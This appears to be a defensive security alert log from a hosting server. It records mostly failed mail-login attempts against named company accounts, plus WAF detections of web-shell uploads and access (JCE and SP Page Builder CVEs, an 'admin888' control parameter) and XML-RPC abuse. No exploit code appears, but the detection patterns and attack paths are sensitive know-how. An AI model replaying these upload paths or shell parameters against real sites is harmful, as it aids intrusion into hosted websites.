2026-07-13 08:28:30 dovecot_login authenticator failed for H=(111-70-39-214.emome-ip.hinet.net) [62.220.236.203]:56332: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-13 08:34:45 dovecot_login authenticator failed for H=(179.83.135.1.dynamic.adsl.gvt.net.br) [121.202.206.119]:54942: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-13 08:35:00 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [50.187.155.130]:51175: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-13 08:35:30 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([114.30.180.58]) [83.191.181.23]:57062: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-13 08:36:50 dovecot_login authenticator failed for H=([142.54.231.33]) [122.176.45.238]:52961: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.75.44
country_id: 1835841
description:
2026-07-13 08:37:28 dovecot_login authenticator failed for H=([103.168.241.32]) [121.1.75.44]:35112: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-13 08:39:55 dovecot_login authenticator failed for H=([190.197.31.229]) [122.160.142.194]:51092: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-13 08:39:28 dovecot_login authenticator failed for H=([182.95.87.80]) [113.193.187.154]:35904: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-13 08:42:09 dovecot_login authenticator failed for H=(219-89-197-82.adsl.xtra.co.nz) [128.185.197.42]:51540: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-13 08:42:22 dovecot_login authenticator failed for H=([111.11.93.87]) [125.23.228.86]:38190: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 168.144.110.71
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:168.144.110.71||TA:168.144.110.71||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.234.232.53
country_id: 1562822
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:55644.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0ac31c006a971e2eec041e2264679950e8d91882||Title:0x3b5a981d||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-13 08:49:15 dovecot_login authenticator failed for H=([46.191.197.143]) [103.206.131.33]:58886: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-13 08:49:29 dovecot_login authenticator failed for H=([118.33.119.34]) [24.187.213.29]:57766: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-13 08:49:41 dovecot_login authenticator failed for H=([149.54.40.182]) [182.95.119.30]:48390: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-13 08:50:39 dovecot_login authenticator failed for H=([220.178.246.43]) [190.157.13.210]:39164: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-13 08:50:45 dovecot_login authenticator failed for H=([223.71.254.162]) [76.49.199.97]:48270: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.223.152.69
country_id: 1269750
description:
2026-07-13 08:53:08 dovecot_login authenticator failed for H=([202.111.183.30]) [117.223.152.69]:47465: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-13 08:53:28 dovecot_login authenticator failed for H=(835403.cloudwaysapps.com) [218.156.93.203]:41313: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 13 08:56:09 vps sshd[916450]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-13 08:59:32 dovecot_login authenticator failed for H=([223.107.146.186]) [59.145.160.134]:41262: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-13 09:06:03 dovecot_login authenticator failed for H=([115.86.227.79]) [122.185.44.206]:54500: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.210.105.202
country_id: 3175395
description:
2026-07-13 09:05:44 dovecot_login authenticator failed for H=95-210-105-202.ip.skylogicnet.com ([74.119.147.213]) [95.210.105.202]:40079: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 13 09:07:16 vps sshd[918120]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.146.111
country_id: 1819730
description:
2026-07-13 09:06:27 dovecot_login authenticator failed for H=([192.111.135.19]) [223.197.146.111]:58102: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: ibmcglobal.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/jyaimibg/fonts/wbytqdbe.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-13 09:11:26 dovecot_login authenticator failed for H=([220.82.91.4]) [182.95.217.202]:42642: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-13 09:11:46 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([49.124.145.56]) [83.255.209.245]:34590: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-13 09:13:03 dovecot_login authenticator failed for H=([98.190.239.1]) [122.185.146.166]:54106: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-13 09:13:14 dovecot_login authenticator failed for H=(mx-ll-183.89.250-247.dynamic.3bb.in.th) [103.67.152.201]:45366: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-07-13 09:13:49 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com ([183.224.160.34]) [35.130.111.98]:45061: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-13 09:13:32 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net (ip-142-54-232-1.hosts.zerolag.com) [72.234.16.75]:33206: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-13 09:13:37 dovecot_login authenticator failed for H=([152.52.192.162]) [210.123.87.143]:42728: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.172.42.235
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-65r3xwq0.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.172.42.235
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-eut1ws9t.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.229.98.52
country_id: 2510769
description:
2026-07-13 09:13:44 dovecot_login authenticator failed for H=(104-182-1-92.lightspeed.chtnsc.sbcglobal.net) [185.229.98.52]:43460: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-13 09:13:46 dovecot_login authenticator failed for H=([49.124.151.81]) [128.185.197.42]:44774: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/azstpild/fonts/kwzeyofc.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-13 09:15:05 dovecot_login authenticator failed for H=([154.146.238.122]) [106.247.22.181]:37101: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.3.114
country_id: 1835841
description:
2026-07-13 09:15:18 dovecot_login authenticator failed for H=([111.26.167.37]) [119.207.3.114]:41867: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 95.85.238.18
country_id: 3077311
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_cfadxe_fm.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77642288
name: IM360 WAF: WordPress web-shell control gate (root=admin888)
abuser: 95.85.238.18
country_id: 3077311
domain: travelinbh.com
description:
IM360 WAF: WordPress web-shell control gate (root=admin888)||MVN:ARGS:root||MV:admin888||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: ogocindia.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-13 09:21:55 dovecot_login authenticator failed for H=(189-109-108-187.customer.tdatabrasil.net.br) [182.95.228.194]:43712: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-13 09:22:10 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([14.54.22.11]) [94.61.159.91]:51124: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77469916
abuser: 5.83.135.102
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:router-functions.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 5.83.135.102
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:router-functions.jpg||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-13 09:27:45 dovecot_login authenticator failed for H=([182.132.164.178]) [210.123.87.143]:43148: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-13 09:33:01 dovecot_login authenticator failed for H=([103.210.250.198]) [120.29.140.188]:38150: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-13 09:33:13 dovecot_login authenticator failed for H=(78.187.9.111.dynamic.ttnet.com.tr) [182.95.189.66]:38852: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-13 09:36:28 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th ([49.124.155.177]) [171.100.121.127]:43030: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-13 09:36:46 dovecot_login authenticator failed for H=([199.102.105.241]) [123.212.9.122]:49795: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-13 09:38:52 dovecot_login authenticator failed for H=([121.172.104.204]) [121.129.75.178]:55907: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-13 09:38:32 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([143.202.162.196]) [77.53.193.47]:36820: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 109.248.151.214
country_id: 458258
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:109.248.151.214||TA:109.248.151.214||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.217.83.91
country_id: 1269750
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:10121.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:16e7d5a6d97437c2349c820ef6ac419cf410e986||Title:0x54be96b5||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.116.72.42
country_id: 6252001
description:
[2026-07-13 09:46:59 +0530] info [whostmgrd] 50.116.72.42 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.42.133.74
country_id: 1835841
description:
2026-07-13 09:47:00 dovecot_login authenticator failed for H=([166.249.9.59]) [61.42.133.74]:33779: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 159.223.67.142
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:159.223.67.142||TA:159.223.67.142||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.56.28.18
country_id: 1168579
description:
2026-07-13 09:49:38 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [210.56.28.18]:33606: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-13 09:49:48 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([65.20.149.239]) [89.67.39.124]:48492: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-13 09:52:20 dovecot_login authenticator failed for H=(static.92.254.104.190.cps.com.ar) [197.219.208.38]:38020: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.217
country_id: 1733045
description:
2026-07-13 09:53:19 dovecot_login authenticator failed for H=([68.71.240.212]) [49.124.149.217]:49574: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.155.228.189
country_id: 2661886
description:
2026-07-13 09:53:04 dovecot_login authenticator failed for H=h95-155-228-189.cust.bredband2.com ([111.0.81.84]) [95.155.228.189]:55051: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-13 09:52:56 dovecot_login authenticator failed for H=(210.0.90.81.static.nexnet.net.au) [202.88.209.51]:51048: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-13 09:56:27 dovecot_login authenticator failed for H=([74.196.184.213]) [122.160.142.194]:51730: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-13 09:56:48 dovecot_login authenticator failed for H=([112.184.50.152]) [14.46.58.104]:45588: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.97.134.91
country_id: 3865483
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fefkadirectorsunion.com/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: ns2.ddgalaxy.in
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.229.150
country_id: 1269750
description:
2026-07-13 09:59:39 dovecot_plain authenticator failed for H=(portic) [125.20.229.150]:46508: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.80.157.142
country_id: 1835841
description:
2026-07-13 10:00:14 dovecot_login authenticator failed for H=([183.171.154.8]) [61.80.157.142]:37211: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.198.180.129
country_id: 1835841
description:
2026-07-13 10:00:43 dovecot_login authenticator failed for H=(220-128-137-164.hinet-ip.hinet.net) [175.198.180.129]:59576: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/upbspclq/fonts/ifexctzv.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-07-13 10:04:27 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net ([59.37.13.66]) [111.70.32.50]:43102: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-13 10:04:36 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se (host-176-36-139-231.b024.la.net.ua) [83.226.181.38]:46006: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.105
country_id: 1733045
description:
2026-07-13 10:07:03 dovecot_login authenticator failed for H=(191.34.34.41.static.adsl.gvt.net.br) [49.124.147.105]:52214: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-13 10:08:34 dovecot_login authenticator failed for H=([192.111.143.93]) [94.16.17.141]:59052: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-13 10:08:47 dovecot_login authenticator failed for H=([197.219.228.242]) [74.209.100.246]:43872: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-13 10:10:20 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([39.152.118.160]) [72.234.16.75]:38004: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-13 10:10:50 dovecot_login authenticator failed for H=([94.183.59.33]) [113.193.187.154]:35764: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-13 10:12:03 dovecot_login authenticator failed for H=(static.170.209.108.65.clients.your-server.de) [14.32.231.200]:62959: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-13 10:12:26 dovecot_login authenticator failed for H=([111.70.49.182]) [65.20.133.56]:59885: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-13 10:14:05 dovecot_login authenticator failed for H=(host-104-171-247-183.midolt6.epbfi.com) [220.86.176.134]:33918: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.43.150.20
country_id: 1668284
description:
2026-07-13 10:14:28 dovecot_login authenticator failed for H=([192.111.130.1]) [115.43.150.20]:58110: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.87
country_id: 1668284
description:
2026-07-13 10:15:23 dovecot_login authenticator failed for H=111-70-9-87.emome-ip.hinet.net ([166.169.210.84]) [111.70.9.87]:34656: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-13 10:15:44 dovecot_login authenticator failed for H=([59.37.13.66]) [182.95.181.166]:57812: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-13 10:15:53 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (bl10-203-209.dsl.telepac.pt) [155.4.31.215]:59454: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-13 10:15:59 dovecot_login authenticator failed for H=([61.178.82.215]) [182.95.116.66]:39288: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-13 10:16:33 dovecot_login authenticator failed for H=([125.19.171.114]) [76.49.199.97]:46134: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.229.98.52
country_id: 2510769
description:
2026-07-13 10:16:35 dovecot_login authenticator failed for H=([63.42.190.241]) [185.229.98.52]:34119: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-13 10:16:48 dovecot_login authenticator failed for H=([49.124.151.59]) [50.190.89.138]:51595: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-13 10:16:22 dovecot_login authenticator failed for H=([59.145.84.169]) [113.193.187.154]:60248: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-13 10:21:19 dovecot_login authenticator failed for H=([218.150.226.139]) [182.95.101.182]:52012: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-13 10:20:49 dovecot_login authenticator failed for H=([174.179.100.65]) [210.123.87.143]:59172: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-13 10:20:41 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net (93-122-239-57.orangero.net) [96.56.228.149]:45448: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-13 10:20:53 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([70.166.167.60]) [135.125.199.17]:47978: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.152
country_id: 1668284
description:
2026-07-13 10:21:23 dovecot_login authenticator failed for H=110-25-112-152.adsl.fetnet.net ([49.124.148.5]) [110.25.112.152]:47417: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 120.29.91.157
country_id: 1694008
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:81011.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cb33dfeb3d6d4541f7d964e84bb3cc215c258420||Title:0xe7ae1b7a||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 120.29.91.157
country_id: 1694008
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:68030.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dadae185831486b419523a2817105a881bfa7857||Title:0xd7db57e7||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.187.47
country_id: 99237
description:
2026-07-13 10:26:42 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [65.20.187.47]:40485: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-13 10:27:07 dovecot_login authenticator failed for H=([111.0.81.84]) [38.148.99.59]:60666: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-13 10:27:34 dovecot_login authenticator failed for H=([174.64.199.88]) [103.168.241.32]:41316: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-13 10:28:54 dovecot_login authenticator failed for H=([121.202.206.76]) [14.38.177.105]:59794: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.238.227.113
country_id: 6252001
description:
2026-07-13 10:31:50 dovecot_plain authenticator failed for H=c-98-238-227-113.hsd1.ca.comcast.net (panogrants) [98.238.227.113]:39394: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-13 10:31:54 dovecot_login authenticator failed for H=([70.166.167.33]) [197.219.208.38]:41390: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
